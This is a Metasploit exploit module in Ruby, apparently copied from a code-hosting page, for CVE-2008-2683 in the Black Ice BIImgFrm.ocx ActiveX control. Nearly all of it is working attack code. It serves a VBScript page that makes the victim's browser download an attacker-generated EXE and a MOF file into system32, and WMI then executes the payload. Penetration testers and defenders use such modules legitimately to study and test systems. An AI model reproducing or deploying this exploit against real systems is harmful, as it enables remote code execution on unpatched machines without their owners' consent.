Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE10include Msf::Exploit::WbemExec1112#include Msf::Exploit::Remote::BrowserAutopwn13#autopwn_info({14# :os_name => OperatingSystems::Match::WINDOWS,15# :ua_name => HttpClients::IE,16# :javascript => true,17# :rank => NormalRanking,18# :classid => "{79956462-F148-497F-B247-DF35A095F80B}",19# :method => "DownloadImageFileURL",20#})2122def initialize(info = {})23super(update_info(info,24'Name' => 'Black Ice Cover Page ActiveX Control Arbitrary File Download',25'Description' => %q{26This module allows remote attackers to place arbitrary files on a users file system27by abusing the "DownloadImageFileURL" method in the Black Ice BIImgFrm.ocx ActiveX28Control (BIImgFrm.ocx 12.0.0.0). Code execution can be achieved by first uploading the29payload to the remote machine, and then upload another mof file, which enables Windows30Management Instrumentation service to execute the binary. Please note that this module31currently only works for Windows before Vista. Also, a similar issue is reported in32BIDIB.ocx (10.9.3.0) within the Barcode SDK.33},34'License' => MSF_LICENSE,35'Author' =>36[37'shinnai', # original discovery38'mr_me <steventhomasseeley[at]gmail.com>', # msf39'sinn3r' # wbemexec tekniq40],41'References' =>42[43[ 'CVE', '2008-2683'],44[ 'OSVDB', '46007'],45[ 'BID', '29577'],46[ 'EDB', '5750' ],47],48'DefaultOptions' =>49{50'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',51},52'Payload' =>53{54'Space' => 2048,55'StackAdjustment' => -3500,56},57'Platform' => 'win',58'Targets' =>59[60#Windows before Vista61[ 'Automatic', { } ],62],63'DefaultTarget' => 0,64'DisclosureDate' => '2008-06-05'))65end6667def autofilter68false69end7071def check_dependencies72use_zlib73end7475def on_request_uri(cli, request)7677if request.uri.match(/\.EXE/)78print_status("Sending EXE payload...")79send_response(cli, @payload, { 'Content-Type' => 'application/octet-stream' })80return81elsif request.uri.match(/\.MOF/)82return if @mof_name == nil or @payload_name == nil83print_status("Generating mof")84mof = generate_mof(@mof_name, @payload_name)85print_status("Sending MOF")86send_response(cli, mof, {'Content-Type'=>'application/octet-stream'})87return88end8990url = "http://"91url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']92url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/"9394#VBScript variables95clsid = "79956462-F148-497F-B247-DF35A095F80B"96method = "DownloadImageFileURL"97blackice = rand_text_alpha(rand(100) + 1) #BlackIce object ID98@payload_name = rand_text_alpha(rand(10) + 1) + ".EXE" #Payload name99payload_vbs_url_name = rand_text_alpha(5) #Payload's vbs var name100payload_vbs_lpath = rand_text_alpha(6) #Payload's lpath var name101@mof_name = rand_text_alpha(rand(10) + 1) + ".MOF" #MOF path on victim machine102mof_vbs_url_name = rand_text_alpha(5) #MOF's vbs var name103mof_vbs_lpath = rand_text_alpha(6) #MOF's lpath var name104sub_name = rand_text_alpha(rand(10) + 1) #Subroutine name105106#Slow connection friendly: We will wait for 4 seconds before we try to execute our payload107#This delay seems necessary before calling mof, otherwise we end up interrupting downloading108#our payload109content = <<-EOS110<html>111<object classid='clsid:#{clsid}' id='#{blackice}' ></object>112<script language='vbscript'>113sub #{sub_name}114#{mof_vbs_url_name} = "#{url}#{@mof_name}"115#{mof_vbs_lpath} = "C:\\WINDOWS\\system32\\wbem\\mof\\#{@mof_name}"116#{blackice}.#{method} #{mof_vbs_url_name}, #{mof_vbs_lpath}117end sub118119#{payload_vbs_url_name} = "#{url}#{@payload_name}"120#{payload_vbs_lpath} = "C:\\WINDOWS\\system32\\#{@payload_name}"121#{blackice}.#{method} #{payload_vbs_url_name}, #{payload_vbs_lpath}122setTimeout "#{sub_name}()", 4000123</script>124</html>125EOS126127#Clear the extra tabs128content = content.gsub(/^ {4}/, '')129130print_status("Sending exploit HTML")131send_response_html(cli, content)132handler(cli)133134end135136def exploit137@payload = generate_payload_exe138super139end140end141142143